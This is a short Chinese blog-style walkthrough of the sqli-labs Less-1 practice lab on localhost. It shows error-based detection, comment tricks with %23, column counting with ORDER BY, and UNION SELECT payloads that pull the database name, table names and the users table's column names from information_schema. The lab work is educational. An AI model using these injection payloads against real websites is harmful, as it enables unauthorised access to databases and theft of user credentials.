文章参考了博客:https://blog.csdn.net/weixin_44932880/article/details/96589694
先了解一下数据库
先登录账户,输入密码
之后可以看到N个数据库
打开数据库可以看到N个表
每个表里还有N个字段
除了用sql语句查看,当然也可以用MySQL等直接查看
开始步入正题
sql注入
url处先尝试着输入?id=1;
再尝试?id=2;
当尝试闭合url输入时
?id=1’
报出如上错误,根据错误提示信息
the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
猜测后端可能是:where id‘用户输入’LIMIT 0,1
当用户直接输入*** ’时,造成了闭合
这时就需要url的注释符#(%23)来注释,有时#不能用,就要用到#的url编码%23
在与注释符#之间就可以进行sql注入,爆出我们想要的内容
又是硬核的知识:联合查询union
union后获取的内容条数与前面查询的列数必须相同
本题下一步就是获得回显个数
利用order by函数,及二分法快速测得列数为3
硬核联合查询union来了
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2,database();%23
id=0则返回空,后面就返回select 1,2,database()的内容,即为1,2,security
security即为database()的返回就是指当前数据库的名字
可题目只显示了2,security 可知只有2与3两个回显位能看到
已经知道了当前的数据库名,接下来就是要爆出表名
接下来我们就可以利用information_Schema.tables获取security里的表格信息
127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1 ,2,group_concat(table_name) from information_Schema.tables where table_schema=‘security’;%23
这个group_concat()函数使表名按一行输出输出
接下来当然是字段了
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2 ,group_concat(column_name) from information_schema.columns %23
这时细心一下的话,其实可以发现,这样会查出所有的字段,这样就会有很多无用的信息
可以用:
where%20table_name=%27users%27and%20table_schema%20=‘security’;
这样来达到精准的查询
完整的url为:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2 ,group_concat(column_name) from information_schema.columns
where%20table_name=%27users%27and%20table_schema%20=‘security’;%23
这是我们有了 用户名和密码的字段
是时候爆出我们想要的数据了:
至此任务完成
再次感谢这位同学的帮助